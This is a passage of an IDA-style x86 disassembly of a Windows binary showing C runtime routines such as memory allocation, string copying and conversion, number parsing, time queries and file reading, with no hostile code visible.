		retn
sub_417BC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_417BEE	proc near		; CODE XREF: sub_403BE2+220p
					; sub_403E35+C1p ...

arg_0		= dword	ptr  4

		push	dword_5158DC
		push	[esp+4+arg_0]
		call	sub_417C00
		pop	ecx
		pop	ecx
		retn
sub_417BEE	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C00	proc near		; CODE XREF: sub_417BEE+Ap
					; sub_418F5C+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_417C29


loc_417C07:				; CODE XREF: sub_417C00+27j
		push	[esp+arg_0]
		call	sub_417C2C
		test	eax, eax
		pop	ecx
		jnz	short locret_417C2B
		cmp	[esp+arg_4], eax
		jz	short locret_417C2B
		push	[esp+arg_0]
		call	sub_419BC2
		test	eax, eax
		pop	ecx
		jnz	short loc_417C07


loc_417C29:				; CODE XREF: sub_417C00+5j
		xor	eax, eax

locret_417C2B:				; CODE XREF: sub_417C00+13j
					; sub_417C00+19j
		retn
sub_417C00	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C2C	proc near		; CODE XREF: sub_417C00+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_43B7BC
		ja	short loc_417C44
		push	esi
		call	sub_419FAD
		test	eax, eax
		pop	ecx
		jnz	short loc_417C60


loc_417C44:				; CODE XREF: sub_417C2C+Bj
		test	esi, esi
		jnz	short loc_417C4B
		push	1
		pop	esi


loc_417C4B:				; CODE XREF: sub_417C2C+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_516EC0
		nop
		call	near ptr 7C9105D4h


loc_417C60:				; CODE XREF: sub_417C2C+16j
		pop	esi
		retn
sub_417C2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C62	proc near		; CODE XREF: sub_403E35+10Ep
					; sub_403E35+116p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_417C8F
		push	esi
		call	sub_419C57
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_417C81
		push	eax
		call	sub_419C82
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417C81:				; CODE XREF: sub_417C62+13j
		push	0
		push	dword_516EC0
		nop
		call	near ptr 7C91043Dh


loc_417C8F:				; CODE XREF: sub_417C62+7j
		pop	esi
		retn
sub_417C62	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C91	proc near		; CODE XREF: sub_404D78+2B9p
					; sub_404D78+2DEp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_417CA8


loc_417C9E:				; CODE XREF: sub_417C91+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_417C9E


loc_417CA8:				; CODE XREF: sub_417C91+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_417C91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417CAE	proc near		; CODE XREF: sub_404D78+17Cp
					; sub_40EB6D+19p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_417D7B
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_417DA8
		cmp	dword_5158EC, esi
		jnz	short loc_417CFF
		cmp	edi, esi
		jbe	loc_417DA8


loc_417CDE:				; CODE XREF: sub_417CAE+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_417DA8
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_417CDE
		jmp	loc_417DA8
; ---------------------------------------------------------------------------


loc_417CFF:				; CODE XREF: sub_417CAE+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_421074
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_5158FC
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_417DA7
		nop
		call	near ptr 7C910331h
		cmp	eax, 7Ah
		jz	short loc_417D39


loc_417D2A:				; CODE XREF: sub_417CAE+CBj
					; sub_417CAE+F7j
		mov	dword_515884, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_417DA8
; ---------------------------------------------------------------------------


loc_417D39:				; CODE XREF: sub_417CAE+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_417D41:				; CODE XREF: sub_417CAE+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_417D63
		mov	edx, off_43B5A0
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_417D58
		inc	eax


loc_417D58:				; CODE XREF: sub_417CAE+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_417D41


loc_417D63:				; CODE XREF: sub_417CAE+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_5158FC
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_417DA8
		jmp	short loc_417D2A
; ---------------------------------------------------------------------------


loc_417D7B:				; CODE XREF: sub_417CAE+Fj
		cmp	dword_5158EC, esi
		jnz	short loc_417D8E
		push	[ebp+arg_4]
		call	sub_417AF0
		pop	ecx
		jmp	short loc_417DA8
; ---------------------------------------------------------------------------


loc_417D8E:				; CODE XREF: sub_417CAE+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_5158FC
		nop
		call	near ptr 7C809BF8h
		cmp	eax, esi
		jz	short loc_417D2A


loc_417DA7:				; CODE XREF: sub_417CAE+6Bj
		dec	eax


loc_417DA8:				; CODE XREF: sub_417CAE+1Aj
					; sub_417CAE+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_417CAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DAD	proc near		; CODE XREF: sub_417FB5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_417DC5:				; CODE XREF: sub_417DAD+46j
		cmp	dword_43B7AC, 1
		jle	short loc_417DDD
		movzx	eax, bl
		push	8
		push	eax
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_417DEC
; ---------------------------------------------------------------------------


loc_417DDD:				; CODE XREF: sub_417DAD+1Fj
		mov	ecx, off_43B5A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_417DEC:				; CODE XREF: sub_417DAD+2Ej
		test	eax, eax
		jz	short loc_417DF5
		mov	bl, [esi]
		inc	esi
		jmp	short loc_417DC5
; ---------------------------------------------------------------------------


loc_417DF5:				; CODE XREF: sub_417DAD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_417E03
		or	[ebp+arg_C], 2
		jmp	short loc_417E08
; ---------------------------------------------------------------------------


loc_417E03:				; CODE XREF: sub_417DAD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_417E0E


loc_417E08:				; CODE XREF: sub_417DAD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_417E0E:				; CODE XREF: sub_417DAD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_417FA5
		cmp	eax, 1
		jz	loc_417FA5
		cmp	eax, 24h
		jg	loc_417FA5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_417E56
		cmp	bl, 30h
		jz	short loc_417E40
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_417E72
; ---------------------------------------------------------------------------


loc_417E40:				; CODE XREF: sub_417DAD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_417E53
		cmp	al, 58h
		jz	short loc_417E53
		mov	[ebp+arg_8], 8
		jmp	short loc_417E72
; ---------------------------------------------------------------------------


loc_417E53:				; CODE XREF: sub_417DAD+97j
					; sub_417DAD+9Bj
		mov	[ebp+arg_8], ecx


loc_417E56:				; CODE XREF: sub_417DAD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_417E72
		cmp	bl, 30h
		jnz	short loc_417E72
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_417E6A
		cmp	al, 58h
		jnz	short loc_417E72


loc_417E6A:				; CODE XREF: sub_417DAD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_417E72:				; CODE XREF: sub_417DAD+91j
					; sub_417DAD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_417E82:				; CODE XREF: sub_417DAD+16Cj
		cmp	dword_43B7AC, 1
		movzx	esi, bl
		jle	short loc_417E9A
		push	4
		push	esi
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_417EA5
; ---------------------------------------------------------------------------


loc_417E9A:				; CODE XREF: sub_417DAD+DFj
		mov	eax, off_43B5A0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_417EA5:				; CODE XREF: sub_417DAD+EBj
		test	eax, eax
		jz	short loc_417EB1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_417EE3
; ---------------------------------------------------------------------------


loc_417EB1:				; CODE XREF: sub_417DAD+FAj
		cmp	dword_43B7AC, 1
		jle	short loc_417EC5
		push	edi
		push	esi
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_417ED0
; ---------------------------------------------------------------------------


loc_417EC5:				; CODE XREF: sub_417DAD+10Bj
		mov	eax, off_43B5A0
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_417ED0:				; CODE XREF: sub_417DAD+116j
		test	eax, eax
		jz	short loc_417F1E
		movsx	eax, bl
		push	eax
		call	sub_41A758
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_417EE3:				; CODE XREF: sub_417DAD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_417F1E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_417F08
		jnz	short loc_417F02
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_417F08


loc_417F02:				; CODE XREF: sub_417DAD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_417F11
; ---------------------------------------------------------------------------


loc_417F08:				; CODE XREF: sub_417DAD+145j
					; sub_417DAD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_417F11:				; CODE XREF: sub_417DAD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_417E82
; ---------------------------------------------------------------------------


loc_417F1E:				; CODE XREF: sub_417DAD+125j
					; sub_417DAD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_417F3C
		test	edx, edx
		jz	short loc_417F36
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_417F36:				; CODE XREF: sub_417DAD+181j
		and	[ebp+var_8], 0
		jmp	short loc_417F89
; ---------------------------------------------------------------------------


loc_417F3C:				; CODE XREF: sub_417DAD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_417F62
		test	cl, 1
		jnz	short loc_417F89
		and	ecx, 2
		jz	short loc_417F59
		cmp	[ebp+var_8], 80000000h
		ja	short loc_417F62


loc_417F59:				; CODE XREF: sub_417DAD+1A1j
		test	ecx, ecx
		jnz	short loc_417F89
		cmp	[ebp+var_8], eax
		jbe	short loc_417F89


loc_417F62:				; CODE XREF: sub_417DAD+197j
					; sub_417DAD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_515884, 22h
		jz	short loc_417F78
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_417F89
; ---------------------------------------------------------------------------


loc_417F78:				; CODE XREF: sub_417DAD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_417F89:				; CODE XREF: sub_417DAD+18Dj
					; sub_417DAD+19Cj ...
		test	edx, edx
		jz	short loc_417F92
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_417F92:				; CODE XREF: sub_417DAD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_417FA0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_417FA0:				; CODE XREF: sub_417DAD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_417FB0
; ---------------------------------------------------------------------------


loc_417FA5:				; CODE XREF: sub_417DAD+66j
					; sub_417DAD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_417FAE
		mov	[eax], edi


loc_417FAE:				; CODE XREF: sub_417DAD+1FDj
		xor	eax, eax


loc_417FB0:				; CODE XREF: sub_417DAD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417DAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_417FB5	proc near		; CODE XREF: sub_405350+4BDp
					; sub_40F6F1+3897p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_417DAD
		add	esp, 10h
		retn
sub_417FB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FCC	proc near		; CODE XREF: sub_405350+266p
					; sub_405350+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_417AF0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41A824
		add	esp, 10h
		leave
		retn
sub_417FCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418000	proc near		; CODE XREF: sub_405350+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 7C80A7D4h
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 7C80176Bh
		mov	ax, [ebp+var_16]
		cmp	ax, word_515872
		jnz	short loc_418065
		mov	ax, [ebp+var_18]
		cmp	ax, word_515870
		jnz	short loc_418065
		mov	ax, [ebp+var_1A]
		cmp	ax, word_51586E
		jnz	short loc_418065
		mov	ax, [ebp+var_1E]
		cmp	ax, word_51586A
		jnz	short loc_418065
		mov	ax, [ebp+var_20]
		cmp	ax, word_515868
		jnz	short loc_418065
		mov	eax, dword_515860
		jmp	short loc_4180AA
; ---------------------------------------------------------------------------


loc_418065:				; CODE XREF: sub_418000+28j
					; sub_418000+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 7C8350BFh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418092
		cmp	eax, 2
		jnz	short loc_41808E
		cmp	[ebp+var_32], 0
		jz	short loc_41808E
		cmp	[ebp+var_24], 0
		jz	short loc_41808E
		push	1
		pop	eax
		jmp	short loc_418095
; ---------------------------------------------------------------------------


loc_41808E:				; CODE XREF: sub_418000+7Aj
					; sub_418000+81j ...
		xor	eax, eax
		jmp	short loc_418095
; ---------------------------------------------------------------------------


loc_418092:				; CODE XREF: sub_418000+75j
		or	eax, 0FFFFFFFFh


loc_418095:				; CODE XREF: sub_418000+8Cj
					; sub_418000+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_515868
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_515860, eax
		pop	esi


loc_4180AA:				; CODE XREF: sub_418000+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41B2D5
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_4180DA
		mov	[ecx], eax

locret_4180DA:				; CODE XREF: sub_418000+D6j
		leave
		retn
sub_418000	endp


; =============== S U B	R O U T	I N E =======================================



sub_4180DC	proc near		; CODE XREF: sub_4059D0+7Cp
					; sub_406B85+4B5p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_4180F1
		or	eax, 0FFFFFFFFh
		jmp	short loc_41812B
; ---------------------------------------------------------------------------


loc_4180F1:				; CODE XREF: sub_4180DC+Ej
		test	al, 83h
		jz	short loc_418129
		push	esi
		call	sub_41B4B0
		push	esi
		mov	edi, eax
		call	sub_41B44A
		push	dword ptr [esi+10h]
		call	sub_41B397
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_418117
		or	edi, 0FFFFFFFFh
		jmp	short loc_418129
; ---------------------------------------------------------------------------


loc_418117:				; CODE XREF: sub_4180DC+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_418129
		push	eax
		call	sub_417C62
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_418129:				; CODE XREF: sub_4180DC+17j
					; sub_4180DC+39j ...
		mov	eax, edi


loc_41812B:				; CODE XREF: sub_4180DC+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_4180DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418132	proc near		; CODE XREF: sub_4059D0+4Ep
					; sub_406B85+30Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_418156
		xor	eax, eax
		jmp	loc_4181FF
; ---------------------------------------------------------------------------


loc_418156:				; CODE XREF: sub_418132+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_418169
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_418175
; ---------------------------------------------------------------------------


loc_418169:				; CODE XREF: sub_418132+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_418175
; ---------------------------------------------------------------------------


loc_418172:				; CODE XREF: sub_418132+C4j
		mov	ecx, [ebp+arg_0]


loc_418175:				; CODE XREF: sub_418132+35j
					; sub_418132+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_4181A7
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4181A7
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41818C
		mov	edi, eax


loc_41818C:				; CODE XREF: sub_418132+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_417490
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_4181F2
; ---------------------------------------------------------------------------


loc_4181A7:				; CODE XREF: sub_418132+49j
					; sub_418132+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_4181DA
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_4181BD
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_4181BD:				; CODE XREF: sub_418132+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41B65B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418204
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41820A
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_4181F2
; ---------------------------------------------------------------------------


loc_4181DA:				; CODE XREF: sub_418132+78j
		push	esi
		call	sub_41B582
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41820E
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_4181F2:				; CODE XREF: sub_418132+73j
					; sub_418132+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_418172
		mov	eax, [ebp+arg_8]


loc_4181FF:				; CODE XREF: sub_418132+1Fj
					; sub_418132+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_418204:				; CODE XREF: sub_418132+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41820E
; ---------------------------------------------------------------------------


loc_41820A:				; CODE XREF: sub_418132+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41820E:				; CODE XREF: sub_418132+B2j
					; sub_418132+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_4181FF
sub_418132	endp


; =============== S U B	R O U T	I N E =======================================



sub_41821A	proc near		; CODE XREF: sub_41823A+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41B9C1
		test	eax, eax
		jnz	short loc_418224
		retn
; ---------------------------------------------------------------------------


loc_418224:				; CODE XREF: sub_41821A+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41B851
		add	esp, 10h
		retn
sub_41821A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41823A	proc near		; CODE XREF: sub_4059D0+2Ap
					; sub_406B85+134p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41821A
		add	esp, 0Ch
		retn
sub_41823A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41824D	proc near		; CODE XREF: sub_405A6A+2B2p
					; sub_406047+101p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_418266:				; CODE XREF: sub_41824D+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_418266
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41828E
		mov	edx, dword_515878


loc_41828E:				; CODE XREF: sub_41824D+39j
					; sub_41824D+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_4182AE
		test	al, al
		jz	short loc_4182AE
		inc	edx
		jmp	short loc_41828E
; ---------------------------------------------------------------------------


loc_4182AE:				; CODE XREF: sub_41824D+58j
					; sub_41824D+5Cj
		mov	ebx, edx


loc_4182B0:				; CODE XREF: sub_41824D+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_4182D4
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_4182D0
		inc	edx
		jmp	short loc_4182B0
; ---------------------------------------------------------------------------


loc_4182D0:				; CODE XREF: sub_41824D+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_4182D4:				; CODE XREF: sub_41824D+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_515878, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41824D	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4182F0	proc near		; CODE XREF: sub_4062F7+1B4p
					; sub_4071BD+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_418373
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_418314
		shr	ecx, 2
		jnz	short loc_418381
		jmp	short loc_418335
; ---------------------------------------------------------------------------


loc_418314:				; CODE XREF: sub_4182F0+1Bj
					; sub_4182F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_418342
		test	al, al
		jz	short loc_41834A
		test	esi, 3
		jnz	short loc_418314
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418381


loc_418330:				; CODE XREF: sub_4182F0+8Fj
		and	ebx, 3
		jz	short loc_418342


loc_418335:				; CODE XREF: sub_4182F0+22j
					; sub_4182F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41836E
		dec	ebx
		jnz	short loc_418335


loc_418342:				; CODE XREF: sub_4182F0+2Bj
					; sub_4182F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41834A:				; CODE XREF: sub_4182F0+2Fj
		test	edi, 3
		jz	short loc_418364


loc_418352:				; CODE XREF: sub_4182F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_4183E6
		test	edi, 3
		jnz	short loc_418352


loc_418364:				; CODE XREF: sub_4182F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4183D7


loc_41836B:				; CODE XREF: sub_4182F0+7Fj
					; sub_4182F0+F4j
		mov	[edi], al
		inc	edi


loc_41836E:				; CODE XREF: sub_4182F0+4Dj
		dec	ebx
		jnz	short loc_41836B
		pop	ebx
		pop	esi


loc_418373:				; CODE XREF: sub_4182F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418379:				; CODE XREF: sub_4182F0+A9j
					; sub_4182F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418330


loc_418381:				; CODE XREF: sub_4182F0+20j
					; sub_4182F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418379
		test	dl, dl
		jz	short loc_4183CB
		test	dh, dh
		jz	short loc_4183C1
		test	edx, 0FF0000h
		jz	short loc_4183B7
		test	edx, 0FF000000h
		jnz	short loc_418379
		mov	[edi], edx
		jmp	short loc_4183CF
; ---------------------------------------------------------------------------


loc_4183B7:				; CODE XREF: sub_4182F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_4183CF
; ---------------------------------------------------------------------------


loc_4183C1:				; CODE XREF: sub_4182F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_4183CF
; ---------------------------------------------------------------------------


loc_4183CB:				; CODE XREF: sub_4182F0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_4183CF:				; CODE XREF: sub_4182F0+C5j
					; sub_4182F0+CFj ...
		add	edi, 4
